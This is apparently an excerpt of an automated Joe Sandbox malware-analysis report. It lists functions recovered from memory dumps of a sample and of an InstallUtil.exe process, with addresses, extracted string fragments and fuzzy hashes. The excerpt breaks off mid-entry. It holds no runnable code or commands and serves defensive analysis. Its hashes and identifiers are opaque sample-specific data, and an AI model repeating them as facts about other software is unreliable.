Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c893855db319b1aa1deb747c325a2de5b697c448fa5fa15172011abc7655d1b
Instruction ID: 24d5906fedec8d10f182720b4a12a100e47f91c353980248b04b8b4a7dd163b0
Opcode Fuzzy Hash: 1c893855db319b1aa1deb747c325a2de5b697c448fa5fa15172011abc7655d1b
Instruction Fuzzy Hash: 3421ECB5D042189FCB10DFAAD985AEEBBF4FB49320F10902AE844B7210C735A945CFA4

Function 01639670 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1789660093.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a051dbcfcd141adfe6112c1df3e6ff98939861660308371caa04417ec944dda4
Instruction ID: 5f8dfde0297b26d0778d001e5ec07cb7f8a6ec3313d6b91c78cab28282f1b430
Opcode Fuzzy Hash: a051dbcfcd141adfe6112c1df3e6ff98939861660308371caa04417ec944dda4
Instruction Fuzzy Hash: 4331AAB1E056188BEB28CF6BCD5479AFAF7BFC9304F14C1A9C40CAA254DB740A858F41

Function 0658E948 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08ea3aac7830066a61684d4f19706d3395c1ab78f39ae3b5c5c71186db317608
Instruction ID: fd785cb4e8117095e4557d35070d638a76073cdbf49d589fba7a8a87eb911a95
Opcode Fuzzy Hash: 08ea3aac7830066a61684d4f19706d3395c1ab78f39ae3b5c5c71186db317608
Instruction Fuzzy Hash: 8321EBB5D04218DFCB10DFAAD985AEEFBF4BB49320F10942AE845B7210C735A945CFA4

Function 0658C590 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810368052.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6580000_Ref_336210627.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9340df5d3d85de8adc2081b154fdbad80e5720666c861fd6e5a5a9e57a30a3d
Instruction ID: 8e6d062efa2d0fe8e6aa229ab6ea36772476bfbb59504d044c9cbd07dd426557
Opcode Fuzzy Hash: b9340df5d3d85de8adc2081b154fdbad80e5720666c861fd6e5a5a9e57a30a3d
Instruction Fuzzy Hash: 1321E4B0E056188FEB58CFABD84479EBAF6BF89300F04D06AD409AA654DB740949CF51

Function 0655CDE8 Relevance: 7.7, Strings: 6, Instructions: 158COMMON

Download Yara Rule

Strings

4'kq, xrefs: 0655CF32
4'kq, xrefs: 0655CE6C
4'kq, xrefs: 0655CEBA
(oq, xrefs: 0655CFB2
4'kq, xrefs: 0655CE9C
poq, xrefs: 0655CF3F

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: (oq$4'kq$4'kq$4'kq$4'kq$poq
API String ID: 0-755401861
Opcode ID: 4db8af9b146a8025363fa231b644d953d45db9a3966e7d1e69f5648e3e5a0d92
Instruction ID: 1b6850b01f0393257903d2bc00f7617a2ff652b06b2cbd5d1ec764b8832ff52f
Opcode Fuzzy Hash: 4db8af9b146a8025363fa231b644d953d45db9a3966e7d1e69f5648e3e5a0d92
Instruction Fuzzy Hash: 6A51B370A402099FC754DB7989506AFBBE7FFC8300F14486DC4059B3A5DF759D4687A1

Function 06555A2E Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

V, xrefs: 06555A3B
*, xrefs: 06556F80
,, xrefs: 06555E5F
o, xrefs: 0655604D

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: *$,$V$o
API String ID: 0-86625165
Opcode ID: 9d1d6d6bd1d9648f43322a5b62eea092fc7e152edc6e4b1a87f76e7b14230c08
Instruction ID: 1c5d39762cdbaf56d095223f20e4544d355d8e3f20eac79360f3e9ec1335cd17
Opcode Fuzzy Hash: 9d1d6d6bd1d9648f43322a5b62eea092fc7e152edc6e4b1a87f76e7b14230c08
Instruction Fuzzy Hash: 07318274C4122ACFDBA49FA4C8AC7EDBAB0BB08315F1514EAC819772A0D7750AD4CF55

Function 06555F54 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

6, xrefs: 06555B6F
@, xrefs: 06555F76
\, xrefs: 06555B43
4, xrefs: 06556CB9

Memory Dump Source

Source File: 00000000.00000002.1810185372.0000000006550000.00000040.00000800.00020000.00000000.sdmp, Offset: 06550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6550000_Ref_336210627.jbxd

Similarity

API ID:
String ID: 4$6$@$\
API String ID: 0-3219332585
Opcode ID: 6536c1f7832c89880ed37c79408c4fb53deba022e9fc7c35cca4c06b84370c83
Instruction ID: bff02e2269d4c841cda1ac18fc753ff021cde63f1b568aa803b156c6122f859e
Opcode Fuzzy Hash: 6536c1f7832c89880ed37c79408c4fb53deba022e9fc7c35cca4c06b84370c83
Instruction Fuzzy Hash: AC21BFB0C05228CFDBA0DFA4C8A87DDBBB0BB09315F1191EAC889B2240DB751AD4CF54

Analysis Process: InstallUtil.exePID: 480, Parent PID: 2580COMMON

Executed Functions

Function 00CCBAC0 Relevance: 6.5, Strings: 5, Instructions: 201COMMON

Download Yara Rule

Strings

PHkq, xrefs: 00CCBD17
LjNp, xrefs: 00CCBCB5
PHkq, xrefs: 00CCBD28
0oNp, xrefs: 00CCBB32
LjNp, xrefs: 00CCBC9F

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 738bebe9b62c030d1379afc23fb53bee033c8ef0c7ecd9cc1d224d7bd634d425
Instruction ID: 7909584e9ae16c5998ca95da1a2cc2b76a66a326724ea2f164f4b68f9b96484b
Opcode Fuzzy Hash: 738bebe9b62c030d1379afc23fb53bee033c8ef0c7ecd9cc1d224d7bd634d425
Instruction Fuzzy Hash: 61819074E00218DFDB14DFAAD985B9DBBF2BF89300F248069E419AB265DB349D81DF10

Function 00CCBDA0 Relevance: 6.4, Strings: 5, Instructions: 197COMMON

Download Yara Rule

Strings

PHkq, xrefs: 00CCBFF7
LjNp, xrefs: 00CCBF7F
LjNp, xrefs: 00CCBF95
PHkq, xrefs: 00CCC008
0oNp, xrefs: 00CCBE12

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 1315770e55da0e0982488d0eadd049f2d85e2e0609007d165bafc86083280bc3
Instruction ID: 120e40029887edd800e50bbc1602b7173e3f44fc51aaaa06646c283fceb7f750
Opcode Fuzzy Hash: 1315770e55da0e0982488d0eadd049f2d85e2e0609007d165bafc86083280bc3
Instruction Fuzzy Hash: 67817074E002189FDB14DFAAD985B9DBBF2BF89300F248069E419AB365DB359D85CF10

Function 00CC46D9 Relevance: 6.4, Strings: 5, Instructions: 187COMMON

Download Yara Rule

Strings

0oNp, xrefs: 00CC474A
PHkq, xrefs: 00CC4941
LjNp, xrefs: 00CC48CE
LjNp, xrefs: 00CC48B8
PHkq, xrefs: 00CC4930

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 775ca6f3e7be82340eea0a2dd968dc45517f576408cc6134db1b99756fbbfa61
Instruction ID: ec7eb7ec4b499344e37662fa3e6e0c84d0f6a6c04269f13ef0c35f7dee50a2a5
Opcode Fuzzy Hash: 775ca6f3e7be82340eea0a2dd968dc45517f576408cc6134db1b99756fbbfa61
Instruction Fuzzy Hash: 53819274E00258DFDB18DFAAD994B9DBBF2BF88300F24C069E419AB265DB349941CF10

Function 00CCCA41 Relevance: 6.4, Strings: 5, Instructions: 187COMMON

Download Yara Rule

Strings

PHkq, xrefs: 00CCCCA8
LjNp, xrefs: 00CCCC1F
PHkq, xrefs: 00CCCC97
0oNp, xrefs: 00CCCAB2
LjNp, xrefs: 00CCCC35

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: d214b8ed17c7267a88101b8e26d5093b5922f9d76ee6d7a7f5087bbd04170f40
Instruction ID: 40e252b42a8039a6f3ed8b8ac1fd917cef02c952d85c0ab5c37ac001256075d2
Opcode Fuzzy Hash: d214b8ed17c7267a88101b8e26d5093b5922f9d76ee6d7a7f5087bbd04170f40
Instruction Fuzzy Hash: C4818374E002189FDB14DFAAD994B9DBBF2BF88300F24C069E819AB365DB349945DF50

Function 00CCC489 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

LjNp, xrefs: 00CCC675
LjNp, xrefs: 00CCC65F
PHkq, xrefs: 00CCC6E8
0oNp, xrefs: 00CCC4F2
PHkq, xrefs: 00CCC6D7

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 3c2176503538b53419fd5bcd0587e9954289a0efc4aae3ce9fc09b104a5097c5
Instruction ID: 7f7a3b960326d83ef5f0fa2308c3f63cd81c360417afb4e52f14b7501a1c32cc
Opcode Fuzzy Hash: 3c2176503538b53419fd5bcd0587e9954289a0efc4aae3ce9fc09b104a5097c5
Instruction Fuzzy Hash: DA818174E00218DFDB14DFAAD984B9DBBF2BF88300F24D069E419AB265DB349981DF10

Function 00CCB50D Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

0oNp, xrefs: 00CCB572
PHkq, xrefs: 00CCB768
PHkq, xrefs: 00CCB757
LjNp, xrefs: 00CCB6DF
LjNp, xrefs: 00CCB6F5

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 2de52cd17368fe9b611a22342415a07e6e902f4fcd55c39af86b524e608df477
Instruction ID: 62911c32802c0cdae54d1a277d842dc72fd62a8af2ecd92caaf82e66e0570890
Opcode Fuzzy Hash: 2de52cd17368fe9b611a22342415a07e6e902f4fcd55c39af86b524e608df477
Instruction Fuzzy Hash: E5816274E00218DFDB14DFAAD984B9DBBF2BF88300F248069E419AB265DB359945CF50

Function 00CCB7F1 Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

PHkq, xrefs: 00CCBA48
LjNp, xrefs: 00CCB9BF
PHkq, xrefs: 00CCBA37
0oNp, xrefs: 00CCB852
LjNp, xrefs: 00CCB9D5

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 1dbab6ac19159324b51643f4403a815ed9349cc01b9738e65d8757b7194f6acb
Instruction ID: beda5d56920c38ea29caf9303dadf27e06ee81cc64a86ada3322e5fb032fd4c5
Opcode Fuzzy Hash: 1dbab6ac19159324b51643f4403a815ed9349cc01b9738e65d8757b7194f6acb
Instruction Fuzzy Hash: 2B816F74E002189FDB14DFAAD985B9DBBF2BF88300F24C069E559AB265DB349D81CF50

Function 00CCC771 Relevance: 6.4, Strings: 5, Instructions: 179COMMON

Download Yara Rule

Strings

LjNp, xrefs: 00CCC93F
0oNp, xrefs: 00CCC7D2
PHkq, xrefs: 00CCC9C8
PHkq, xrefs: 00CCC9B7
LjNp, xrefs: 00CCC955

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 4104a442e2cadc9944b903635733f63375f530f8fbc2843aae1ec812e804c8a8
Instruction ID: 4c557ee511bbbf4804340a82886e9b8653eb10f14ba403aa765e74e18feb367b
Opcode Fuzzy Hash: 4104a442e2cadc9944b903635733f63375f530f8fbc2843aae1ec812e804c8a8
Instruction Fuzzy Hash: CB817F74E002189FDB14DFAAD984B9DBBF2BF88310F24C069E419AB265DB349981CF50

Function 00CC6898 Relevance: 5.3, Strings: 4, Instructions: 336COMMON

Download Yara Rule

Strings

(okq, xrefs: 00CC69A0
,oq, xrefs: 00CC6A18
(okq, xrefs: 00CC6992
,oq, xrefs: 00CC6A0A

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq$(okq$,oq$,oq
API String ID: 0-2865278577
Opcode ID: 318d5d8bc951875c524458487a77fb032c4ef4115c8c3e65171d472fc609b54a
Instruction ID: 811819a33b43c558e43d95324c0d2c3f1415c7e887eb728726a8b90cdc619061
Opcode Fuzzy Hash: 318d5d8bc951875c524458487a77fb032c4ef4115c8c3e65171d472fc609b54a
Instruction Fuzzy Hash: 42D11770A00109DFCB14CFA9CA84EADBBB2FF88341F258169E455EB2A5D730ED42DB50

Function 00CC6120 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

Hoq, xrefs: 00CC6526
(okq, xrefs: 00CC665A

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq$Hoq
API String ID: 0-4134915641
Opcode ID: 44c726abd6ebc8ee563e1bf7bec8d5b3074d5027a3ec58b4c01773a520cac98b
Instruction ID: 153b4e07830a6d1f615db29e67ddff19a173942d01630b2aa58cff6482ff042b
Opcode Fuzzy Hash: 44c726abd6ebc8ee563e1bf7bec8d5b3074d5027a3ec58b4c01773a520cac98b
Instruction Fuzzy Hash: 04125970A002199FDB18DF69C944BAEBBF6FF88310F248569E415AB395DB34DD41CB90

Function 00CC3581 Relevance: 2.9, Strings: 2, Instructions: 429COMMON

Download Yara Rule

Strings

Xoq, xrefs: 00CC35AF
$kq, xrefs: 00CC3596

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: Xoq$$kq
API String ID: 0-227003152
Opcode ID: 950222bad27a200ac91bf4922665d3c70b9db5454b099b1a6d4ad5ef6c2aad93
Instruction ID: 7f616c074f019c999c43c2d34b80f8ce1063603f5ff8a9ac98056b81778e2116
Opcode Fuzzy Hash: 950222bad27a200ac91bf4922665d3c70b9db5454b099b1a6d4ad5ef6c2aad93
Instruction Fuzzy Hash: D1F15374F05248CFCB48DF75D954AAEBBB6BF88300B64846DE405EB394CB349942CB51

Function 00CC6E80 Relevance: 10.4, Strings: 8, Instructions: 449COMMON

Download Yara Rule

Strings

(okq, xrefs: 00CC737F
(okq, xrefs: 00CC6F69
,oq, xrefs: 00CC7320
(okq, xrefs: 00CC738F
(okq, xrefs: 00CC7032
,oq, xrefs: 00CC7310
(okq, xrefs: 00CC6EAE
(okq, xrefs: 00CC6F95

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq$(okq$(okq$(okq$(okq$(okq$,oq$,oq
API String ID: 0-2636989756
Opcode ID: da995e83954b6e07b966d743612025fbb4a7187796b1e9e713254635cce6d41b
Instruction ID: 26cc2267240ca807de721a8ff471272ed1aa12f3f80e75e12fdffe410d313282
Opcode Fuzzy Hash: da995e83954b6e07b966d743612025fbb4a7187796b1e9e713254635cce6d41b
Instruction Fuzzy Hash: 18121830A042499FCB25CF69D984E9EBBF2FF48314F248699E8199B261D731ED41CF50

Function 00CC6E70 Relevance: 5.3, Strings: 4, Instructions: 275COMMON

Download Yara Rule

Strings

(okq, xrefs: 00CC6F69
(okq, xrefs: 00CC7032
(okq, xrefs: 00CC6EAE
(okq, xrefs: 00CC6F95

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq$(okq$(okq$(okq
API String ID: 0-1817140900
Opcode ID: 4599a052abcdbcce390fd685ee8fc54571031e7dd1b271eb2ac8e714cc5ca52b
Instruction ID: 75a2b674de794bf50567cda205f75b46f2f84106c8502648fe980e09143ed6e5
Opcode Fuzzy Hash: 4599a052abcdbcce390fd685ee8fc54571031e7dd1b271eb2ac8e714cc5ca52b
Instruction Fuzzy Hash: 90C12830A042499FCB14CFA9D984E9EBBF6FF88314F258659E819AB261D731ED41CF50

Function 00CC56B0 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

Hoq, xrefs: 00CC57CE
Hoq, xrefs: 00CC579B

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: Hoq$Hoq
API String ID: 0-3106737575
Opcode ID: 1f716ef01702e7e052aeca6be415440d596270cc009dda67cd0c8d1d346b9554
Instruction ID: 130717271cf0576eb47e4e6f1c880c3ffbc250dd04ad26da0fb37a403fda50eb
Opcode Fuzzy Hash: 1f716ef01702e7e052aeca6be415440d596270cc009dda67cd0c8d1d346b9554
Instruction Fuzzy Hash: 97B19B70304A548FDB159F3AC894B2E7BE6EB88311F24856DE816CB395DB38ED81D790

Function 00CC8810 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

4'kq, xrefs: 00CC8829
4'kq, xrefs: 00CC884F

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 70d90126da63693f0e1e6c2ba865d44fef7a5af48ce58c305cf64e13ce85932d
Instruction ID: 2bc98e5318e8b29443a984414deeb7b4a2d951fb1ce68c1409a1ffc057dd4755
Opcode Fuzzy Hash: 70d90126da63693f0e1e6c2ba865d44fef7a5af48ce58c305cf64e13ce85932d
Instruction Fuzzy Hash: 2AA153703005018FDB259E2AC964F3B76A6EF84B00F2500AEE162CF3B5DE29DD49D751

Function 00CC5C10 Relevance: 2.7, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

,oq, xrefs: 00CC5CF0
,oq, xrefs: 00CC5CE6

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: ,oq$,oq
API String ID: 0-3825397795
Opcode ID: 8ef7dd3d4ec7637f967aede420dd7e293194ca92bcdf8429ceba4af31ccbfc6d
Instruction ID: 6768f63c3280ecb1995340efb6163a48c3df2bab4b1dc05ffbea36df56f48630
Opcode Fuzzy Hash: 8ef7dd3d4ec7637f967aede420dd7e293194ca92bcdf8429ceba4af31ccbfc6d
Instruction Fuzzy Hash: D4716F34A00A05CFCB14CF69C988E6AB7B2BF89311B25816DD416EB365DB35FD81CB91

Function 00CC3421 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

Xoq, xrefs: 00CC3435
Xoq, xrefs: 00CC345E

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: Xoq$Xoq
API String ID: 0-251439590
Opcode ID: 7e44a200d74f2d8dad8430609c91790af448466208b714b098656bf8abd9ad51
Instruction ID: 2181b29b5ab82f54ab4dc0d909ab6c2e06679737d923bfc6e69f8fe8f1dc0bad
Opcode Fuzzy Hash: 7e44a200d74f2d8dad8430609c91790af448466208b714b098656bf8abd9ad51
Instruction Fuzzy Hash: 50312772B003648BDF1CDA6AE99477F6A9AABC0310F18843DD816C7384DF78CF4186A1

Function 00CC8270 Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

$kq, xrefs: 00CC834F
$kq, xrefs: 00CC832C

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: d2ed2d081ed55c82d14798f59ef1625bf43c9f75497937156a9092bb6c789a53
Instruction ID: e9a7d87d3574ebf113ff97e74854b1b61cfb50f332e44e4e2753974277714ab7
Opcode Fuzzy Hash: d2ed2d081ed55c82d14798f59ef1625bf43c9f75497937156a9092bb6c789a53
Instruction Fuzzy Hash: EB31C2703045918FDB259B2AD894F3F7BA6FB84B20B2C545ED022CB2A5DE28DC89C751

Function 00CC9B58 Relevance: 1.8, Strings: 1, Instructions: 522COMMON

Download Yara Rule

Strings

(okq, xrefs: 00CC9C88

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq
API String ID: 0-2789353238
Opcode ID: b480b5f9d6a18168bce14fdaf9432422a6e298204bf4cd30f1eba9f4995466b9
Instruction ID: 9f883b576c9ad95f3329e753e45e57f904dcc58be29386227591f07818548f98
Opcode Fuzzy Hash: b480b5f9d6a18168bce14fdaf9432422a6e298204bf4cd30f1eba9f4995466b9
Instruction Fuzzy Hash: 30223770A00109DFCB15CF69C988FAEBBB2FF88315F198559E4159B2A5D730EE81CB52

Function 00CC0C9B Relevance: 1.6, Strings: 1, Instructions: 397COMMON

Download Yara Rule

Strings

LRkq, xrefs: 00CC0E5E

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 00c72bd0026547f2d76338dacd335803dee5d8a2f20bcbee51709cfe0fd82f15
Instruction ID: a6f9e38160d96d98e87b66f6d2fa416db99c173835b5b3f2df2cbd1297fd392d
Opcode Fuzzy Hash: 00c72bd0026547f2d76338dacd335803dee5d8a2f20bcbee51709cfe0fd82f15
Instruction Fuzzy Hash: BE220AB4944219CFCB54EF65E988B9DBBB1FF48311F1085A9D809AB328DB706D85CF41

Function 00CC0CA0 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

Strings

LRkq, xrefs: 00CC0E5E

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: LRkq
API String ID: 0-1052062081
Opcode ID: 57e62d3ff03132eeb0fb95cb62969870cead9dd57822ba600271a1b42ba8044e
Instruction ID: 2fd7927df1ed841924b5024c91bd18252076438cb1a2198e4627fa85fcad837b
Opcode Fuzzy Hash: 57e62d3ff03132eeb0fb95cb62969870cead9dd57822ba600271a1b42ba8044e
Instruction Fuzzy Hash: DE220B74944219CFCB54EF65E988B9DBBB1FF48311F1085A9D809AB328DB706D85CF41

Function 00CCA671 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

(okq, xrefs: 00CCA7E9

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: (okq
API String ID: 0-2789353238
Opcode ID: 3b0c4cbeef8b8ffa17fc188120c4bedab3debe3ef841c633da6013b5cf63d78a
Instruction ID: 943317392b630f3905265414caeb3c5dbbf2b74967ea3c9e67329ce4f2a10192
Opcode Fuzzy Hash: 3b0c4cbeef8b8ffa17fc188120c4bedab3debe3ef841c633da6013b5cf63d78a
Instruction Fuzzy Hash: 2231BD317002089FDB18AB6AD858AAE7BF6FFC8721F244469E506D7395CE359D01CB91

Function 00CCA209 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'kq, xrefs: 00CCA283

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID: 4'kq
API String ID: 0-3255046985
Opcode ID: c07e4a92c0c1f0461232bd2bfb1ca29152ca5ae6b41e06efc99134571a885feb
Instruction ID: f98cd72368d78040fb00334099c165f42540647952c8ffad37dcb88cccd5e52f
Opcode Fuzzy Hash: c07e4a92c0c1f0461232bd2bfb1ca29152ca5ae6b41e06efc99134571a885feb
Instruction Fuzzy Hash: CB4156B16001199FCB14DF69C858FAE7BB2FB88315F144069E91A8B3B1C731DD81DB92

Function 00CC7451 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_cc0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ac60d965d7d3cbfccb28c8718ca2a8598be5737518dac53d96ad73130a2109d
Instruction ID: 5b2d3f6040290e08d81f12e3af82b5b9a899d37ae780d9df9fb3f8a3f1509cab
Opcode Fuzzy Hash: 6ac60d965d7d3cbfccb28c8718ca2a8598be5737518dac53d96ad73130a2109d
Instruction Fuzzy Hash: 167112347086058FCB54CF29C988FAA7BE6EF49311B1901A9E826CB3A1DB75DD41DF90

Function 00CCCED7 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1905565844.0000000000CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CC0000, based on PE: false

Joe Sandbox IDA Plugin

